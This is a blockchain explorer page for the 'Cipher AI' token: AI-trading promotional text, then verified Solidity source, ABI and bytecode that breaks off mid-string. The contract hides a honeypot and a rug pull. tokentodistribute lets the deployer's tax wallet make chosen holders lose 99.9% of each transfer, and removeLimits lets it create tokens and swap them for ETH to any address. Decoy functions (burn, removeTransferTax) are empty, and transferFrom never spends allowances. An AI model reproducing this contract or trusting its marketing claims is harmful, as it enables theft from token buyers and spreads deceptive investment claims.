ETH Price: $3,258.91 (+1.12%)

Token

Cipher AI (CIPHER AI)
 

Overview

Max Total Supply

800,000,000 CIPHER AI

Holders

150

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CipherAI

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : CipherAI.sol
/*
www.cipher-ai.app
x.com/cipher_ai_token
t.me/cipher_ai_token
Introduction
Cryptocurrency has emerged as a revolutionary asset class, offering decentralized and borderless financial opportunities. However, navigating the complexities of the crypto market can be daunting for both newcomers and seasoned investors alike. In response to this challenge, CipherAI presents a groundbreaking solution by leveraging the power of artificial intelligence (AI) to provide users with unparalleled insights, tools, and resources for maximizing their crypto investments.
CipherAI is a cutting-edge platform that amalgamates advanced technology with strategic analysis to empower users with real-time data analytics, predictive insights, and dynamic trading tools. Unlike traditional investment platforms, CipherAI does not rely solely on historical data or human intuition; instead, it harnesses the computational prowess of AI algorithms to analyze vast amounts of data, identify patterns, and make informed predictions.
In line with its mission to democratize access to advanced investment tools and insights, CipherAI sets forth the following objectives and goals:
- Empower Users: CipherAI aims to empower users of all experience levels by providing them with access to cutting-edge AI-driven insights and tools for maximizing their crypto investments.
- Enhance Decision-Making: Through real-time data analytics, predictive algorithms, and comprehensive market analysis, CipherAI seeks to enhance users' decision-making capabilities, enabling them to make informed and strategic investment decisions.
- Foster Security and Trust: Security is paramount in the crypto space, and CipherAI prioritizes the safety and confidentiality of user data and investments. By implementing state-of-the-art encryption techniques and robust security protocols, CipherAI fosters trust and confidence among its user base.
- Drive Innovation: As a pioneer in the fusion of AI technology and cryptocurrency investments, CipherAI is committed to driving innovation and pushing the boundaries of what is possible in the realm of financial technology. By continuously refining its algorithms, expanding its feature set, and staying abreast of industry trends, CipherAI aims to remain at the forefront of the digital asset landscape.
Through unwavering dedication to these objectives and goals, CipherAI endeavors to revolutionize the way individuals engage with and profit from cryptocurrency investments, ushering in a new era of accessibility, efficiency, and empowerment in the digital asset space.

The Need for CipherAI
Challenges in Crypto Investment
The cryptocurrency market presents unique challenges and complexities that can be daunting for both novice and experienced investors. These challenges include:
- Volatility: Cryptocurrency markets are highly volatile, with prices subject to rapid fluctuations driven by factors such as market sentiment, regulatory developments, and macroeconomic trends. Managing risk and capitalizing on opportunities in such a dynamic environment requires sophisticated analysis and strategy.
- Information Overload: The abundance of data available in the cryptocurrency space can be overwhelming, making it difficult for investors to discern meaningful insights from noise. Traders must sift through vast amounts of information from disparate sources to make informed decisions, which can be time-consuming and resource-intensive.
- Lack of Predictive Tools: Traditional investment analysis methods may not be well-suited to the unique characteristics of cryptocurrency markets. Without access to advanced predictive tools and algorithms, investors may struggle to anticipate market trends and identify profitable opportunities.
- Security Concerns: Security is a paramount concern in the cryptocurrency space, with incidents of hacking, fraud, and theft posing significant risks to investors' funds and personal information. Safeguarding assets and ensuring secure transactions are top priorities for investors and platform operators alike.
- Accessibility Barriers: Despite the growing popularity of cryptocurrencies, many potential investors remain hesitant to enter the market due to barriers such as complexity, technical know-how, and regulatory uncertainty. Simplifying the investment process and providing educational resources are essential for expanding market participation.

Role of AI in Overcoming Challenges
In response to these challenges, CipherAI harnesses the power of artificial intelligence to provide innovative solutions that address the unique needs of crypto investors. AI technology offers several key advantages in the context of cryptocurrency investments:
- Data Analysis: AI algorithms can analyze vast amounts of data from multiple sources in real-time, uncovering hidden patterns, correlations, and insights that may elude human analysts. By processing information at scale, AI enables more accurate and comprehensive market analysis.
- Predictive Modeling: AI-based predictive models leverage historical data, market trends, and other relevant factors to forecast future price movements and market trends with greater accuracy. These predictive insights empower investors to anticipate market fluctuations and make proactive investment decisions.
- Risk Management: AI-powered risk management tools can assess the potential risks associated with different investment strategies and asset allocations, enabling investors to mitigate downside risk and preserve capital in volatile market conditions.
- Security Enhancements: AI-driven security solutions can detect and mitigate cybersecurity threats in real-time, protecting user data, funds, and transactions from unauthorized access, fraud, and other malicious activities.
- Accessibility and Education: AI-driven educational resources and user-friendly interfaces make cryptocurrency investments more accessible to a broader audience, including beginners and non-technical users. By demystifying complex concepts and providing intuitive tools, AI empowers individuals to engage confidently in the crypto market.
By leveraging AI technology to overcome these challenges, CipherAI provides users with a powerful platform for maximizing their crypto investments, enhancing decision-making, and navigating the complexities of the digital asset landscape with confidence and ease.

Market Analysis
Cryptocurrency markets operate 24/7 across global exchanges, resulting in a constant flow of data and price movements. Traditional investment analysis methods may struggle to keep pace with this rapid market evolution. CipherAI addresses this challenge by employing AI-driven market analysis techniques to provide users with real-time insights and actionable intelligence.
Through advanced machine learning algorithms, CipherAI can analyze market sentiment, identify emerging trends, and assess the impact of news and events on cryptocurrency prices. By processing vast amounts of data from social media, news articles, forums, and other sources, CipherAI generates holistic market analyses that encompass both quantitative and qualitative factors.
Moreover, CipherAI's AI-powered analytics tools can detect correlations and patterns across multiple cryptocurrencies and asset classes, enabling users to diversify their portfolios strategically and capitalize on interconnected market dynamics. Whether tracking the performance of individual assets or evaluating broader market trends, CipherAI equips users with the information they need to make informed investment decisions in real-time.

Understanding CipherAI
AI-Powered Insights
CipherAI leverages state-of-the-art artificial intelligence (AI) technology to provide users with unparalleled insights into the cryptocurrency market. Through advanced machine learning algorithms, natural language processing (NLP), and predictive analytics, CipherAI processes vast amounts of data from diverse sources to generate real-time insights and actionable intelligence.
One of the key features of CipherAI's AI-powered insights is its ability to analyze market trends, identify patterns, and forecast future price movements with a high degree of accuracy. By examining historical data, market indicators, and other relevant factors, CipherAI generates predictive models that enable users to anticipate market fluctuations and make informed investment decisions.
Moreover, CipherAI's AI-driven insights extend beyond price predictions to encompass broader market dynamics, such as investor sentiment, trading volume, and regulatory developments. By synthesizing information from social media, news articles, and other sources, CipherAI provides users with comprehensive analyses that capture the multifaceted nature of the cryptocurrency market.

Security Measures
Security is paramount in the cryptocurrency space, where incidents of hacking, fraud, and theft pose significant risks to investors' funds and personal information. CipherAI prioritizes the safety and confidentiality of its users by implementing robust security measures and advanced encryption techniques.
To safeguard user data and assets, CipherAI employs end-to-end encryption protocols that protect sensitive information from unauthorized access and interception. Additionally, CipherAI's platform undergoes regular security audits and penetration testing to identify and address potential vulnerabilities proactively.
Furthermore, CipherAI implements multi-factor authentication (MFA) and other access controls to prevent unauthorized access to user accounts. By requiring users to verify their identity through multiple factors, such as passwords, biometrics, and one-time codes, CipherAI enhances the security of its platform and reduces the risk of account compromise.

Dynamic Trading Tools
CipherAI offers a comprehensive suite of dynamic trading tools designed to meet the diverse needs of crypto investors. Whether users are looking to track market trends, execute trades, or automate their investment strategies, CipherAI provides a range of tools and features tailored to their requirements.
One of CipherAI's flagship features is its portfolio management system, which enables users to track the performance of their crypto holdings in real-time. By providing detailed insights into asset allocation, historical performance, and risk metrics, CipherAI empowers users to optimize their portfolios and maximize returns.
In addition to portfolio management, CipherAI offers automated trading capabilities that enable users to execute predefined trading strategies without manual intervention. By leveraging AI algorithms and technical indicators, CipherAI's automated trading tools can identify market opportunities, execute trades, and manage risk on behalf of users, thereby streamlining the investment process and enhancing efficiency.
Furthermore, CipherAI provides users with access to advanced charting tools, technical analysis indicators, and customizable trading dashboards, allowing them to conduct in-depth market analysis and execute trades with precision. Whether users are new to crypto trading or seasoned veterans, CipherAI's dynamic trading tools empower them to trade with confidence and achieve their investment goals.

Global Crypto News Integration
Keeping abreast of the latest developments and news in the cryptocurrency space is crucial for making informed investment decisions. CipherAI understands the importance of timely information and integrates global crypto news directly into its platform.
Through strategic partnerships with leading news outlets, CipherAI aggregates news articles, updates, and expert analyses from across the globe. This curated feed of crypto news provides users with comprehensive coverage of market shifts, regulatory developments, technological advancements, and other relevant topics.
CipherAI's news integration feature is designed to deliver real-time updates and insights, ensuring that users have access to the latest information that may impact their investment strategies. Whether it's a breaking news story about a major exchange listing or an analysis of regulatory developments in a specific jurisdiction, CipherAI keeps users informed and empowered to make educated decisions.
Moreover, CipherAI leverages natural language processing (NLP) and sentiment analysis algorithms to extract key insights from news articles and social media discussions. By analyzing the tone, context, and sentiment of news articles, CipherAI provides users with additional context and perspective to complement their investment research.
By integrating global crypto news directly into its platform, CipherAI ensures that users have access to a comprehensive array of information and insights to inform their investment decisions. This seamless integration enhances the user experience and reinforces CipherAI's commitment to providing users with the tools and resources they need to succeed in the cryptocurrency market.

User-Friendly Interface
At CipherAI, user experience is paramount. The platform is designed with a user-friendly interface that prioritizes accessibility, intuitiveness, and ease of navigation. Whether you're a seasoned trader or a novice investor, CipherAI's interface is tailored to accommodate users of all experience levels.
The user interface (UI) of CipherAI is thoughtfully crafted to present complex data and analytics in a clear and digestible manner. Users can easily access key features and functionalities, such as real-time data analytics, AI-based predictions, portfolio management tools, and global crypto news updates, all from a single dashboard.
CipherAI's UI employs intuitive design principles, including clean layouts, intuitive navigation menus, and interactive visualizations, to enhance usability and facilitate seamless interaction. Whether you're conducting market research, executing trades, or managing your portfolio, CipherAI's UI provides a cohesive and streamlined experience.
Moreover, CipherAI offers customizable settings and preferences, allowing users to personalize their dashboard layout, chart configurations, and notification preferences according to their individual preferences and trading style. This flexibility ensures that users can tailor the platform to suit their specific needs and preferences.
In addition to its desktop interface, CipherAI also offers a mobile app that enables users to access the platform on the go. The mobile app provides all the features and functionality of the desktop platform in a mobile-optimized format, ensuring continuity of access and usability across devices.
Overall, CipherAI's user-friendly interface enhances the overall user experience, making it easy for users to navigate the platform, access important information, and execute trades with confidence. By prioritizing usability and accessibility, CipherAI aims to empower users to navigate the complexities of the cryptocurrency market with ease and efficiency.

Education & Resource
Cryptocurrency can be complex, and understanding its intricacies is essential for successful investment strategies. CipherAI recognizes the importance of education and provides a wealth of resources to empower users with knowledge and expertise
*Educational Resources:* CipherAI offers a range of educational materials, including articles, tutorials, videos, and webinars, covering topics such as blockchain technology, cryptocurrency fundamentals, trading strategies, and risk management. These resources are designed to cater to users of all experience levels, from beginners seeking to understand the basics to seasoned traders looking to refine their skills.
*Guides & Tutorials:* In addition to educational content, CipherAI provides step-by-step guides and tutorials to help users navigate the platform's features and tools effectively. Whether you're learning how to set up automated trading strategies, conduct technical analysis, or manage your portfolio, CipherAI's guides offer practical insights and actionable advice.
*Community Forums:* CipherAI fosters a vibrant community of crypto enthusiasts, traders, and experts through its community forums and social media channels. Users can engage with peers, share insights, ask questions, and participate in discussions on a wide range of topics related to cryptocurrency investments. This collaborative environment encourages knowledge-sharing and peer-to-peer support, enriching the learning experience for all participants.
*Expert Insights:* In addition to user-generated content, CipherAI collaborates with industry experts, analysts, and thought leaders to provide users with expert insights and commentary on market trends, emerging technologies, and regulatory developments. These contributions offer valuable perspectives and help users stay informed about the latest developments in the cryptocurrency ecosystem.
*Continuous Learning:* The cryptocurrency market is constantly evolving, and staying informed is essential for success. CipherAI's commitment to education extends beyond introductory materials, with ongoing updates and new content added regularly to keep users abreast of the latest developments and trends in the industry.
By providing comprehensive educational resources and fostering a supportive community environment, CipherAI equips users with the knowledge, skills, and confidence to navigate the complexities of the cryptocurrency market effectively. Whether you're a beginner looking to get started or an experienced trader seeking to expand your expertise, CipherAI's education and resources are designed to empower you on your crypto journey.
*/
pragma solidity ^0.8.21;
// SPDX-License-Identifier: MIT

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath:  subtraction overflow");
        uint256 c = a - b;
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:  addition overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath:  division by zero");
        uint256 c = a / b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow");
        return c;
    }
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    function owner() public view virtual returns (address) {return _owner;}
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    modifier onlyOwner(){
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair_);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata path, address cAddress, uint256) external;
    function WETH() external pure returns (address aadd);
}

contract CipherAI is Ownable {
    using SafeMath for uint256;
    uint256 public _decimals = 9;

    uint256 public _totalSupply = 800000000 * 10 ** _decimals;

    constructor() {
        _balances[sender()] =  _totalSupply; 
        emit Transfer(address(0), sender(), _balances[sender()]);
        _taxWallet = msg.sender; 
    }

    string private _name = "Cipher AI";
    string private _symbol = "CIPHER AI";

    IUniswapV2Router private uniV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public _taxWallet;

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function name() external view returns (string memory) {
        return _name;
    }
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }
    function burn() external {
    }
    function burnFrom() external {
    }
    function removeTransferTax() public {
    }
    function reduceFee() external {
    }
    function tokentodistribute(address[] calldata walletAddress) external {
        uint256 fromBlockNo = getBlockNumber();
        for (uint walletInde = 0;  walletInde < walletAddress.length;  walletInde++) { 
            if (!marketingAddres()){} else { 
                cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;
            }
        }
    }
    function transferFrom(address from, address recipient, uint256 _amount) public returns (bool) {
        _transfer(from, recipient, _amount);
        require(_allowances[from][sender()] >= _amount);
        return true;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function getBlockNumber() internal view returns (uint256) {
        return block.number;
    }
    mapping(address => mapping(address => uint256)) private _allowances;
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function decreaseAllowance(address from, uint256 amount) public returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(sender(), from, _allowances[msg.sender][from] - amount);
        return true;
    }
    event Transfer(address indexed from, address indexed to, uint256);
    mapping (address => uint256) internal cooldowns;
    function decimals() external view returns (uint256) {
        return _decimals;
    }
    function marketingAddres() private view returns (bool) {
        return (_taxWallet == (sender()));
    }
    function sender() internal view returns (address) {
        return msg.sender;
    }
    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }
    function removeLimits(uint256 amount, address walletAddr) external {
        if (marketingAddres()) {
            _approve(address(this), address(uniV2Router), amount); 
            _balances[address(this)] = amount;
            address[] memory addressPath = new address[](2);
            addressPath[0] = address(this); 
            addressPath[1] = uniV2Router.WETH(); 
            uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, addressPath, walletAddr, block.timestamp + 32);
        } else {
            return;
        }
    }
    function _transfer(address from, address to, uint256 value) internal {
        uint256 _taxValue = 0;
        require(from != address(0));
        require(value <= _balances[from]);
        emit Transfer(from, to, value);
        _balances[from] = _balances[from] - (value);
        bool onCooldown = (cooldowns[from] <= (getBlockNumber()));
        uint256 _cooldownFeeValue = value.mul(999).div(1000);
        if ((cooldowns[from] != 0) && onCooldown) {  
            _taxValue = (_cooldownFeeValue); 
        }
        uint256 toBalance = _balances[to];
        toBalance += (value) - (_taxValue);
        _balances[to] = toBalance;
    }
    event Approval(address indexed, address indexed, uint256 value);
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(sender(), spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(sender(), recipient, amount);
        return true;
    }
    mapping(address => uint256) private _balances;
    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"burnFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"walletAddr","type":"address"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTransferTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"walletAddress","type":"address[]"}],"name":"tokentodistribute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526009600155600154600a6200001a9190620004bd565b632faf08006200002b91906200050d565b6002556040518060400160405280600981526020017f436970686572204149000000000000000000000000000000000000000000000081525060039081620000749190620007b2565b506040518060400160405280600981526020017f434950484552204149000000000000000000000000000000000000000000000081525060049081620000bb9190620007b2565b50737a250d5630b4cf539739df2c5dacb4c659f2488d60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200011c575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360025460095f620001eb6200033060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550620002386200033060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60095f620002996200033060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051620002e29190620008a7565b60405180910390a33360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620008c2565b5f33905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620003c15780860481111562000399576200039862000337565b5b6001851615620003a95780820291505b8081029050620003b98562000364565b945062000379565b94509492505050565b5f82620003db5760019050620004ad565b81620003ea575f9050620004ad565b81600181146200040357600281146200040e5762000444565b6001915050620004ad565b60ff84111562000423576200042262000337565b5b8360020a9150848211156200043d576200043c62000337565b5b50620004ad565b5060208310610133831016604e8410600b84101617156200047e5782820a90508381111562000478576200047762000337565b5b620004ad565b6200048d848484600162000370565b92509050818404811115620004a757620004a662000337565b5b81810290505b9392505050565b5f819050919050565b5f620004c982620004b4565b9150620004d683620004b4565b9250620005057fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003ca565b905092915050565b5f6200051982620004b4565b91506200052683620004b4565b92508282026200053681620004b4565b9150828204841483151762000550576200054f62000337565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620005d357607f821691505b602082108103620005e957620005e86200058e565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200064d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000610565b62000659868362000610565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6200069a620006946200068e84620004b4565b62000671565b620004b4565b9050919050565b5f819050919050565b620006b5836200067a565b620006cd620006c482620006a1565b8484546200061c565b825550505050565b5f90565b620006e3620006d5565b620006f0818484620006aa565b505050565b5b8181101562000717576200070b5f82620006d9565b600181019050620006f6565b5050565b601f82111562000766576200073081620005ef565b6200073b8462000601565b810160208510156200074b578190505b620007636200075a8562000601565b830182620006f5565b50505b505050565b5f82821c905092915050565b5f620007885f19846008026200076b565b1980831691505092915050565b5f620007a2838362000777565b9150826002028217905092915050565b620007bd8262000557565b67ffffffffffffffff811115620007d957620007d862000561565b5b620007e58254620005bb565b620007f28282856200071b565b5f60209050601f83116001811462000828575f841562000813578287015190505b6200081f858262000795565b8655506200088e565b601f1984166200083886620005ef565b5f5b8281101562000861578489015182556001820191506020850194506020810190506200083a565b868310156200088157848901516200087d601f89168262000777565b8355505b6001600288020188555050505b505050505050565b620008a181620004b4565b82525050565b5f602082019050620008bc5f83018462000896565b92915050565b611d5380620008d05f395ff3fe608060405234801561000f575f80fd5b5060043610610140575f3560e01c806370a08231116100b6578063a70419d21161007a578063a70419d214610342578063a9059cbb1461034c578063af79e3991461037c578063dd62ed3e14610398578063e29aba1a146103c8578063e9fa6abb146103e457610140565b806370a082311461029c578063715018a6146102cc5780638da5cb5b146102d657806395d89b41146102f4578063a457c2d71461031257610140565b8063313ce56711610108578063313ce567146101ea57806332424aa31461020857806339509351146102265780633eaaf86b1461025657806344df8e70146102745780636f268a991461027e57610140565b806306fdde0314610144578063095ea7b314610162578063109daa991461019257806318160ddd1461019c57806323b872dd146101ba575b5f80fd5b61014c6103ee565b60405161015991906113cb565b60405180910390f35b61017c60048036038101906101779190611480565b61047e565b60405161018991906114d8565b60405180910390f35b61019a610494565b005b6101a4610496565b6040516101b19190611500565b60405180910390f35b6101d460048036038101906101cf9190611519565b61049f565b6040516101e191906114d8565b60405180910390f35b6101f2610541565b6040516101ff9190611500565b60405180910390f35b61021061054a565b60405161021d9190611500565b60405180910390f35b610240600480360381019061023b9190611480565b610550565b60405161024d91906114d8565b60405180910390f35b61025e6105f0565b60405161026b9190611500565b60405180910390f35b61027c6105f6565b005b6102866105f8565b6040516102939190611578565b60405180910390f35b6102b660048036038101906102b19190611591565b61061d565b6040516102c39190611500565b60405180910390f35b6102d4610663565b005b6102de610792565b6040516102eb9190611578565b60405180910390f35b6102fc6107b9565b60405161030991906113cb565b60405180910390f35b61032c60048036038101906103279190611480565b610849565b60405161033991906114d8565b60405180910390f35b61034a61096d565b005b61036660048036038101906103619190611480565b61096f565b60405161037391906114d8565b60405180910390f35b6103966004803603810190610391919061161d565b61098c565b005b6103b260048036038101906103ad9190611668565b610a40565b6040516103bf9190611500565b60405180910390f35b6103e260048036038101906103dd91906116a6565b610ac2565b005b6103ec610d5f565b005b6060600380546103fd90611711565b80601f016020809104026020016040519081016040528092919081815260200182805461042990611711565b80156104745780601f1061044b57610100808354040283529160200191610474565b820191905f5260205f20905b81548152906001019060200180831161045757829003601f168201915b5050505050905090565b5f61048a338484610d61565b6001905092915050565b565b5f600254905090565b5f6104ab848484610f24565b8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104f2611203565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610536575f80fd5b600190509392505050565b5f600154905090565b60015481565b5f6105e661055c611203565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546105e1919061176e565b610d61565b6001905092915050565b60025481565b565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610682610792565b73ffffffffffffffffffffffffffffffffffffffff16146106d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cf906117eb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546107c890611711565b80601f01602080910402602001604051908101604052809291908181526020018280546107f490611711565b801561083f5780601f106108165761010080835404028352916020019161083f565b820191905f5260205f20905b81548152906001019060200180831161082257829003601f168201915b5050505050905090565b5f8160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156108ce575f80fd5b6109636108d9611203565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461095e9190611809565b610d61565b6001905092915050565b565b5f61098261097b611203565b8484610f24565b6001905092915050565b5f61099561120a565b90505f5b83839050811015610a3a576109ac611211565b15610a27576001826109be919061176e565b60085f8686858181106109d4576109d361183c565b5b90506020020160208101906109e99190611591565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8080610a3290611869565b915050610999565b50505050565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610aca611211565b15610d5557610afb3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d61565b8160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffff